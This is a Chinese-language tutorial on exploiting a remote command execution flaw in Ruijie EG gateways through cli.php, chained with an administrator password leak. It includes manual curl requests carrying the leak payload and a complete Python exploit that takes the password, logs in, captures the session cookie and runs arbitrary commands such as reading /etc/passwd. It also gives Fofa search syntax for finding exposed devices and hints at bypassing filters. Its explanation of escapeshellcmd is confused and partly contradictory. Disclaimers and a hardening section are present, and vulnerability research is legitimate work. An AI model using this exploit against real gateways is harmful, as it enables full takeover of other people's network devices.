锐捷EG易网关cli.php远程命令执行漏洞复现与Python脚本实战
1. 项目概述:从漏洞公告到实战复现
最近在整理一些网络设备的历史漏洞时,锐捷EG易网关的cli.php远程命令执行漏洞(CVE编号未公开,但影响广泛)引起了我的注意。这并非一个复杂的新型漏洞,但其利用链完整,涉及从信息泄露到权限提升再到命令执行的全过程,非常适合作为安全研究和新手学习的典型案例。很多朋友在复现此类漏洞时,常常卡在环境搭建、请求构造或结果解析等环节,网上零散的POC脚本也可能因为环境差异而“失灵”。今天,我就结合自己多次复现的经验,手把手带你走通整个流程,并附上一个经过实战检验、增加了容错和调试功能的Python脚本,同时分享几个关键环节的避坑指南。无论你是刚入门的安全爱好者,还是想巩固Web漏洞复现技能的从业者,这篇内容都能让你获得可直接上手操作的干货。
简单来说,这个漏洞的核心在于锐捷EG易网关(一种企业级网关设备)的管理后台存在一个名为cli.php的文件,其shellAction方法未能对用户输入的command参数进行有效过滤,直接拼接至exec()函数中执行,导致了远程命令执行。更“有趣”的是,该设备常伴随一个管理员密码泄露漏洞,两者结合,攻击者可以在未授权或弱口令的情况下,先获取管理员凭证,再登录后台执行任意系统命令,完全控制设备。下面,我们就从环境准备开始,一步步拆解。
2. 漏洞原理深度剖析与影响范围
2.1 漏洞成因:脆弱的命令拼接
根据公开的漏洞详情和代码片段,问题根源于/cli.php文件。当我们访问/cli.php?a=shell时,会路由到shellAction方法。关键代码如下(摘自公开资料):
public function shellAction() { $command = p("command"); // 获取用户输入的command参数 if ($command == false) { $data["status"] = 2; $data["msg"] = "no command"; json_echo($data); exit(); } $content = []; exec(EscapeShellCmd($command), $content); // 执行命令 $data = array("status" => true, "data" => $content); json_echo($data); }这里有一个关键的“烟雾弹”:开发者使用了EscapeShellCmd()函数。这个函数在PHP中本意是转义shell命令中的元字符,防止命令注入。但是,它的使用方式完全错误了。EscapeShellCmd()应该用于转义整个命令字符串,防止其被拆分成多个命令。然而,这里的逻辑是:获取用户输入的command,然后将其作为参数传递给exec()。如果command本身就是一个完整的命令(如id或cat /etc/passwd),那么EscapeShellCmd()会对整个命令字符串进行转义,导致命令无法正常执行吗?并非如此。
实际上,在典型的利用中,我们发送的POST数据是notdelay=true&command=id。EscapeShellCmd('id')的返回值仍然是id,因为id本身不包含需要转义的shell元字符(如;,&,|,>等)。漏洞的真正关键在于,攻击者可以注入带有参数的命令。例如,如果构造command=id;whoami,分号;会被EscapeShellCmd()转义吗?在PHP的Windows实现中,EscapeShellCmd()会转义;,但在类Unix系统(如Linux,这正是大多数网关设备的系统)上,默认的escapeshellcmd()函数不会转义分号、管道符等用于命令连接的字符!它主要转义的是可能对shell有特殊意义的字符,但在单个命令参数的上下文中,分号并不总是被转义。更严重的是,如果后端代码的过滤逻辑存在缺陷,或者对EscapeShellCmd()的返回值处理不当,就可能造成绕过。
从实际复现和POC来看,直接发送command=cat /etc/passwd是能够成功执行的。这说明,要么是EscapeShellCmd()函数在该环境下未生效或存在绕过,要么是开发者在某处错误地“净化”了输入。一种常见的错误是,开发者可能认为使用了此函数就万事大吉,却忽略了用户输入可能本身就是一条完整的、合法的系统命令。这给了我们一个重要的教训:单纯依赖某一个安全函数是远远不够的,必须结合严格的输入白名单验证和最小权限原则。
2.2 影响范围与设备识别
该漏洞影响的是锐捷EG易网关系列设备。具体受影响版本需根据官方补丁公告确认,但根据网络空间测绘数据,暴露在互联网上的相关设备数量可观。
如何识别潜在目标?
- 特征识别:在网页标题、HTTP响应头、登录页面Logo或源码中常包含“Ruijie”、“EG”等字样。
- 路径探测:尝试访问
/cli.php路径。如果存在,可能会返回特定的错误信息或空白页。 - 网络空间测绘:使用ZoomEye、Shodan、Fofa等引擎,搜索特定指纹。例如在Fofa中,可以使用搜索语法:
app="Ruijie-EG易网关"。这是最直接有效的方式,可以快速定位全球范围内在线的潜在目标。
重要声明与合规性提醒:
所有漏洞复现学习必须在自己完全可控的合法环境中进行,例如:
- 自己搭建的虚拟机或docker镜像模拟的漏洞环境。
- 获得明确书面授权的渗透测试靶场(如PentesterLab、Vulnhub上的相关镜像,或企业内部的测试环境)。
- 专门用于安全研究的实验网络。绝对禁止对任何未经授权的真实网络设备进行扫描、探测或攻击测试,这不仅是违法行为,也严重违背安全从业者的职业道德。本文所有技术讨论仅限用于授权环境下的安全研究、教学和防御方案验证。
3. 复现环境搭建与工具准备
“工欲善其事,必先利其器”。一个稳定、隔离的复现环境是成功的第一步。
3.1 漏洞环境获取与部署
由于涉及真实厂商设备固件,我们无法直接分发。但有以下几种合法途径获取复现环境:
- 使用历史固件模拟(推荐给进阶研究者):在一些合法的漏洞研究社区或资源站,可能会找到基于历史版本固件制作的Docker镜像或虚拟机镜像。你需要自行搜索
Ruijie EG simulator或类似关键词,并确保其来源合法、仅用于学习。 - 搭建简化漏洞模型(最佳学习方式):为了彻底理解漏洞原理,我强烈建议你自己用PHP编写一个简单的、包含漏洞代码的Web应用。这不仅能让你复现,更能让你动态调试,理解每一行代码的执行过程。例如,创建一个包含以下代码的
cli.php文件:
<?php // 模拟有缺陷的shellAction if ($_GET['a'] == 'shell') { $command = $_POST['command'] ?? ''; // 模拟有问题的过滤 // $command = escapeshellcmd($command); // 尝试注释或取消注释这行,观察区别 $output = []; exec($command, $output); echo json_encode(['status' => true, 'data' => $output]); } // 模拟登录接口(简化版) if ($_SERVER['REQUEST_URI'] == '/login.php' && $_SERVER['REQUEST_METHOD'] == 'POST') { // 模拟密码泄露漏洞:无论密码是什么,都返回一个固定的密码哈希或Cookie setcookie('RUIJIEID', '模拟的Cookie值', time()+3600); echo json_encode(['status' => 1]); } ?>将这个文件放在你的PHP开发环境(如XAMPP、PHPStudy或Docker + PHP)中运行。这样你就拥有了一个完全可控、无法律风险的“靶机”。
3.2 必备工具清单
无论你选择哪种环境,以下工具都是必需的:
- Python 3.6+:我们的自动化脚本将基于Python编写。确保已安装
requests库,如果没有,使用pip install requests安装。 - Burp Suite / OWASP ZAP:用于拦截、查看和重放HTTP请求,是分析请求结构、修改参数的利器。
- 浏览器及开发者工具:现代浏览器(Chrome/Firefox)的F12开发者工具,用于观察网络请求、Cookie管理。
- 文本编辑器/IDE:如VS Code、PyCharm或Sublime Text,用于编写和修改脚本。
- 网络调试工具:
curl命令(终端),用于快速发送请求测试。
环境检查清单:
- [ ] Python环境变量配置正确,终端可执行
python --version。 - [ ]
requests库安装成功。 - [ ] Burp Suite代理设置正确,浏览器流量能通过它。
- [ ] 你的测试Web服务(无论是模拟环境还是合法靶机)已启动并可以访问。
4. 手动复现步骤详解:从登录到RCE
理解了原理,备好了环境,我们开始手动操作。手动复现能让你对每一个环节有肌肉记忆般的理解。
4.1 第一步:利用信息泄露获取管理员密码
根据公开的漏洞信息,锐捷EG易网关存在一个管理员账号密码泄露漏洞。通常的利用方式是向/login.php发送一个特殊的POST请求。
构造请求:
- URL:
http://<靶机IP>/login.php - 方法: POST
- Headers:
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (自定义) - Body:
username=admin&password=admin?show+webmaster+user注意password参数的值,它并不是一个真正的密码,而是一个包含特殊指令?show webmaster user的字符串。这很可能是一个后门接口或调试接口遗留在生产代码中,通过特定的参数触发,直接返回管理员密码哈希或明文。
- URL:
发送请求并分析响应: 使用Burp Suite的Repeater模块或
curl命令发送上述请求。curl -X POST http://192.168.1.100/login.php -d "username=admin&password=admin?show+webmaster+user" -H "Content-Type: application/x-www-form-urlencoded"观察返回的响应。成功的响应通常是一个JSON结构,其中
data字段里包含了管理员密码(可能是明文,也可能是哈希值)。你需要从中提取出这个密码。例如,响应可能类似于:{"status":1, "data":"admin 123456"},那么密码就是123456。
4.2 第二步:使用获取的密码登录系统
拿到密码后,我们需要进行一次正式的登录,以获取有效的会话Cookie(通常是RUIJIEID)。
构造登录请求:
- URL:
http://<靶机IP>/login.php - 方法: POST
- Headers: 同上一步。
- Body:
username=admin&password=<上一步获取的密码>
- URL:
提取关键Cookie: 发送请求后,重点查看响应头中的
Set-Cookie字段。你会看到一个名为RUIJIEID的Cookie被设置。完整地记录下这个Cookie的值。通常,后续的授权请求都需要在请求头中携带这个Cookie。响应体可能也会返回一个JSON,如{"status":1}表示登录成功。
4.3 第三步:发起命令执行攻击
现在,我们有了合法的会话Cookie,可以访问需要认证的cli.php接口了。
构造命令执行请求:
- URL:
http://<靶机IP>/cli.php?a=shell - 方法: POST
- Headers:
Content-Type: application/x-www-form-urlencoded Cookie: RUIJIEID=<刚才获取的Cookie值>; user=admin X-Requested-With: XMLHttpRequest (有时需要,模拟Ajax请求) - Body:
notdelay=true&command=<你要执行的系统命令>例如,执行id命令查看当前用户:notdelay=true&command=id执行cat /etc/passwd查看系统用户:notdelay=true&command=cat /etc/passwd
- URL:
解析执行结果: 命令执行的结果会以JSON格式返回。
data字段是一个数组,包含了命令输出按行分割后的内容。你需要解析这个JSON来查看命令执行是否成功以及具体的输出。如果status为true且data数组有内容,说明命令执行成功。
手动复现的核心要点:
- 顺序性:这三步必须依次进行,后一步依赖前一步的产出(密码依赖泄露漏洞,Cookie依赖成功登录)。
- 请求格式:特别是
Content-Type和Cookie头,必须严格按照上述格式设置,一个字符的错误都可能导致失败。 - 结果验证:每一步都要仔细验证响应,确保拿到了预期的数据(密码、Cookie、命令结果),再进入下一步。
5. 自动化Python脚本编写与增强
手动复现成功只是第一步。在实际的安全评估或批量验证中,我们需要自动化脚本。下面我将提供一个比网上常见POC更健壮、功能更完整的脚本,并逐段讲解。
5.1 脚本核心模块拆解
我们的脚本将包含三个主要函数,对应手动复现的三个步骤,并增加错误处理和结果解析。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 锐捷EG易网关 cli.php 远程命令执行漏洞自动化利用脚本 Author: [你的名字] 说明:仅用于授权环境下的安全测试与学习。 """ import requests import re import sys import json import argparse from urllib.parse import urljoin # 禁用SSL警告(仅用于测试环境,生产环境应验证证书) requests.packages.urllib3.disable_warnings() def exploit_password_leak(target_url): """ 步骤1:利用密码泄露漏洞获取管理员密码 """ leak_url = urljoin(target_url, "/login.php") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # 关键payload data = 'username=admin&password=admin?show+webmaster+user' print(f"[*] 尝试从 {leak_url} 获取管理员密码...") try: resp = requests.post(leak_url, data=data, headers=headers, verify=False, timeout=15) resp.raise_for_status() # 检查HTTP错误 except requests.exceptions.RequestException as e: print(f"[-] 密码泄露漏洞利用失败:网络请求错误 - {e}") return None # 更健壮的密码提取逻辑 password = None # 尝试多种可能的响应格式 if 'data' in resp.text: # 格式1: {"data": "admin password123"} match = re.search(r'admin\s+(\S+)', resp.text) if match: password = match.group(1) # 格式2: {"data": {"password": "xxx"}} (假设) else: try: json_data = resp.json() # 根据实际响应结构调整路径,这里是一个示例 if isinstance(json_data.get('data'), dict): password = json_data['data'].get('password') elif isinstance(json_data.get('data'), str): # 再次尝试从字符串中提取 match = re.search(r'password[=:\s]+(\S+)', json_data['data'], re.IGNORECASE) if match: password = match.group(1) except json.JSONDecodeError: pass if password: print(f"[+] 成功获取管理员密码: {password}") return password else: print(f"[-] 未能从响应中提取密码。原始响应:\n{resp.text[:500]}") # 打印前500字符用于调试 return None def login_and_get_cookie(target_url, password): """ 步骤2:使用密码登录,获取有效会话Cookie """ login_url = urljoin(target_url, "/login.php") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = f'username=admin&password={password}' print(f"[*] 尝试使用密码登录 {login_url} ...") try: resp = requests.post(login_url, data=data, headers=headers, verify=False, timeout=15, allow_redirects=False) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f"[-] 登录失败:网络请求错误 - {e}") return None # 提取Cookie的多种方式 cookie_value = None # 1. 从响应头Set-Cookie中提取 if 'Set-Cookie' in resp.headers: set_cookie_header = resp.headers['Set-Cookie'] # 匹配 RUIJIEID=xxxxx; match = re.search(r'RUIJIEID=([^;]+)', set_cookie_header) if match: cookie_value = match.group(1) # 2. 如果响应头没有,检查响应体是否包含Cookie信息(某些实现可能不同) if not cookie_value and 'RUIJIEID' in resp.text: match = re.search(r'RUIJIEID=([^;]+)', resp.text) if match: cookie_value = match.group(1) if cookie_value: # 构造完整的Cookie字符串,格式很重要 full_cookie = f"RUIJIEID={cookie_value}; user=admin" print(f"[+] 登录成功,获取到Cookie: {full_cookie}") return full_cookie else: print(f"[-] 登录响应中未找到有效的Cookie。状态码: {resp.status_code}") # 打印响应头用于调试 print("响应头:", dict(resp.headers)) return None def execute_command(target_url, cookie, command): """ 步骤3:利用cli.php执行任意命令 """ rce_url = urljoin(target_url, "/cli.php?a=shell") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": cookie, "X-Requested-With": "XMLHttpRequest" # 模拟Ajax请求,有时必要 } data = f'notdelay=true&command={command}' print(f"[*] 尝试在 {rce_url} 执行命令: {command}") try: resp = requests.post(rce_url, data=data, headers=headers, verify=False, timeout=15) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f"[-] 命令执行请求失败:{e}") return None # 解析命令执行结果 try: result_json = resp.json() if result_json.get('status') is True: # 命令输出在data字段,是一个列表(按行分割) output_lines = result_json.get('data', []) if output_lines: print("[+] 命令执行成功!输出如下:") for line in output_lines: print(f" {line}") else: print("[+] 命令执行成功,但无输出。") return output_lines else: print(f"[-] 命令执行返回失败状态。响应: {resp.text[:200]}") return None except json.JSONDecodeError: print(f"[-] 响应不是有效的JSON。原始响应:\n{resp.text[:500]}") return None def main(): parser = argparse.ArgumentParser(description='锐捷EG易网关 cli.php RCE漏洞利用脚本') parser.add_argument('-u', '--url', required=True, help='目标URL (例如: http://192.168.1.100)') parser.add_argument('-c', '--command', default='id', help='要执行的系统命令 (默认: id)') args = parser.parse_args() target_url = args.url.rstrip('/') # 去除末尾斜杠 command_to_exec = args.command print(f"[*] 目标: {target_url}") print(f"[*] 命令: {command_to_exec}") print("-" * 50) # 1. 获取密码 password = exploit_password_leak(target_url) if not password: print("[-] 漏洞利用流程终止于密码获取阶段。") sys.exit(1) # 2. 登录获取Cookie cookie = login_and_get_cookie(target_url, password) if not cookie: print("[-] 漏洞利用流程终止于登录阶段。") sys.exit(1) # 3. 执行命令 execute_command(target_url, cookie, command_to_exec) if __name__ == '__main__': main()5.2 脚本增强点与避坑指南
对比网上常见的POC,这个脚本做了以下关键增强:
- 更健壮的密码提取逻辑:原始POC使用固定的正则表达式
r'admin (.*?)"',这在响应格式稍有变化时就会失败。增强版脚本尝试了多种匹配模式(字符串匹配、JSON解析、关键字搜索),并提供了详细的错误输出,方便调试。 - Cookie处理的鲁棒性:不仅从
Set-Cookie头提取,还检查了响应体。构造的Cookie字符串严格遵循观察到的格式RUIJIEID=xxx; user=admin。 - 全面的错误处理:对网络请求超时、HTTP错误、JSON解析失败等情况都进行了捕获和友好提示,避免脚本因一个环节出错而崩溃且不知原因。
- 支持命令行参数:使用
argparse库,可以通过-u指定目标URL,-c指定要执行的命令,灵活性更高。 - 结果清晰输出:将命令执行结果按行格式化输出,更易读。
- 超时设置:每个请求都设置了15秒超时,防止因网络或目标无响应导致脚本长时间挂起。
使用方式:
# 基本用法,执行默认的id命令 python3 ruijie_eg_rce.py -u http://192.168.1.100 # 执行自定义命令 python3 ruijie_eg_rce.py -u http://192.168.1.100 -c "cat /etc/passwd" # 执行多条命令(注意命令分隔符,在类Unix系统是;或&&) python3 ruijie_eg_rce.py -u http://192.168.1.100 -c "id; whoami; pwd"6. 实战复现中的常见问题与排查技巧
即使有了详细的步骤和脚本,在实际操作中你仍可能遇到各种问题。下面是我在多次复现中总结的“避坑指南”。
6.1 问题一:密码泄露漏洞利用失败
- 现象:第一步发送特殊密码请求后,返回的不是包含密码的JSON,而是登录页面、错误页面或空白页。
- 可能原因与排查:
- 目标设备版本不受影响:并非所有EG易网关版本都存在此特定信息泄露漏洞。确认你的目标版本在受影响范围内。
- 请求路径或参数错误:确认URL是否为
/login.php(注意有些设备路径可能不同)。尝试使用Burp Suite拦截一次正常的登录请求,观察其准确的路径和参数格式。 - Payload格式问题:确保POST Body是
application/x-www-form-urlencoded格式,并且参数值admin?show+webmaster+user中的空格是用+号编码的。也可以尝试用%20(空格URL编码)代替+。 - 需要先决条件:某些漏洞可能需要特定的前置条件,比如需要先访问某个页面初始化会话。尝试在发送漏洞利用请求前,先访问一下目标首页。
- 调试技巧:
- 开启Burp Suite的代理,用浏览器正常访问一次目标,观察所有请求流程。
- 使用
curl -v命令发送请求,查看详细的请求和响应头信息。 - 修改脚本,打印出第一步的完整响应(包括状态码、头部、正文),仔细分析。
6.2 问题二:登录成功但无法获取有效Cookie
- 现象:使用获取到的密码进行登录,返回状态码200甚至
{"status":1},但响应头中没有Set-Cookie,或者Cookie值无效。 - 可能原因与排查:
- Cookie名称或格式不同:不同版本的设备可能使用不同的Cookie名称,不一定是
RUIJIEID。检查响应头中是否有其他看起来像会话标识的Cookie,如SESSIONID,PHPSESSID等。同时,检查Cookie的格式,可能需要包含path或domain属性。 - 会话管理机制不同:有些设备可能使用Token而非Cookie进行认证,Token可能放在响应体的JSON中。仔细检查登录成功的响应正文。
- 密码错误或已过期:获取到的密码可能不是明文,而是哈希,或者密码已失效。尝试用获取到的密码手动在网页登录界面登录,验证其有效性。
- Cookie名称或格式不同:不同版本的设备可能使用不同的Cookie名称,不一定是
- 调试技巧:
- 在Burp Suite中,对比手动通过浏览器登录成功时的请求和你的脚本请求,确保Headers、Body完全一致。
- 检查脚本中登录请求的
allow_redirects参数。有些登录成功后会重定向,需要设置为False来获取最初的响应和Cookie。
6.3 问题三:命令执行请求返回错误或无效结果
- 现象:携带Cookie向
/cli.php?a=shell发送命令执行请求,返回状态码403、404、500,或者返回的JSON中status为false。 - 可能原因与排查:
- 路径或参数错误:确认漏洞路径是
/cli.php,并且action参数是a=shell。有些变体可能是/controller/cli.php或参数名不同。 - Cookie无效或过期:会话可能已超时。尝试重新执行整个流程,并确保从登录到执行命令的间隔不要太长。
- 缺少必要的请求头:除了
Cookie,X-Requested-With: XMLHttpRequest头有时是必需的,用于标识这是一个Ajax请求。我们的脚本已经添加。 - 命令被过滤或转义:虽然漏洞存在,但设备可能部署了WAF或进行了简单的输入检查。尝试执行一些无害的命令如
echo test或pwd。如果简单命令可以,复杂命令(如包含/,$,>等字符)不行,则可能存在过滤。尝试使用编码、拼接等绕过技术(注意:在授权测试范围内)。 - 命令执行无回显:
exec()函数执行成功但可能没有输出。尝试使用有回显的命令,如id、whoami、uname -a。
- 路径或参数错误:确认漏洞路径是
- 调试技巧:
- 在Burp Suite中手动重放命令执行请求,逐步修改参数和头部,观察响应变化。
- 尝试执行
command=echo%20hello%20world(echo hello world的URL编码),看是否能返回包含“hello world”的响应。 - 查看服务器返回的错误信息(如果开启了调试),这能提供重要线索。
6.4 问题四:Python脚本运行报错(依赖、编码等)
- 现象:运行脚本时出现
ModuleNotFoundError: No module named 'requests'或编码错误。 - 解决方案:
- 缺少requests库:在终端执行
pip install requests安装。如果使用Python虚拟环境,请确保在正确的环境中安装。 - SSL证书验证警告:脚本中已使用
verify=False禁用验证,但如果你在严格的环境下需要验证,请确保有正确的证书路径或忽略警告。 - 中文编码问题:确保脚本文件保存为UTF-8编码,并在文件头声明
# -*- coding: utf-8 -*-。如果命令输出包含非UTF-8字符,可能需要根据目标系统编码(如GBK)进行解码,脚本中使用了服务器返回的JSON,通常编码问题已由requests库处理。
- 缺少requests库:在终端执行
通用排查思路:当遇到问题时,遵循“由简到繁、对比验证”的原则。先用最简单的命令(如id)测试核心漏洞是否通。用Burp Suite等工具手动复现每一步,确保请求的每一个字节都与成功案例一致。最后,将成功的手动请求参数逐项移植到脚本中。记住,自动化脚本的本质是模拟人的操作,所以人的操作必须先跑通。
7. 漏洞修复与安全加固建议
作为负责任的分享,在讲解漏洞利用后,我们必须探讨如何防御。如果你是设备管理员或开发者,请关注以下加固措施:
官方补丁升级:这是最根本、最有效的解决方法。立即联系锐捷官方或关注其安全公告,获取受影响设备型号的最新固件版本并进行升级。漏洞的根源在于代码缺陷,只有官方补丁才能彻底修复。
临时缓解措施:如果无法立即升级,考虑以下临时方案:
- 访问控制:在防火墙或网关设备本身,严格限制管理界面(通常是80/443端口)的访问来源,只允许可信的管理IP地址段访问。
- 删除或重命名漏洞文件:如果业务不依赖
cli.php文件,可以尝试在设备上查找并删除或重命名/cli.php文件。操作前务必确认该文件的功能,并做好备份。 - Web应用防火墙(WAF):在设备前端部署WAF,设置规则拦截对
/cli.php路径的异常访问,特别是包含command等敏感参数的POST请求。
安全开发规范(对开发者的启示):
- 输入验证与过滤:对所有用户输入进行严格的白名单验证。对于命令执行功能,应只允许执行预定义的、安全的命令列表,而不是传递任意字符串。
- 避免使用危险函数:尽可能避免使用
exec()、system()、passthru()、shell_exec()等可以直接执行系统命令的函数。如果必须使用,应严格限制参数。 - 使用安全的API:使用语言提供的、更安全的进程控制库(如Python的
subprocess模块并正确使用参数列表args而非字符串shell=True)。 - 最小权限原则:运行Web服务的进程应使用低权限用户,避免使用root或管理员权限,以限制漏洞被利用后造成的破坏。
- 代码审计与安全测试:定期对代码进行安全审计,并对Web应用进行渗透测试,及早发现此类命令注入、路径遍历、文件包含等常见漏洞。
复现漏洞的意义不仅在于“攻破”,更在于理解其成因,从而在防御端筑起更坚固的城墙。希望这篇超详细的指南,能让你不仅成功复现了锐捷EG易网关的这个漏洞,更掌握了独立分析、调试和编写利用脚本的能力。安全之路,始于足下,贵在实践与思考。
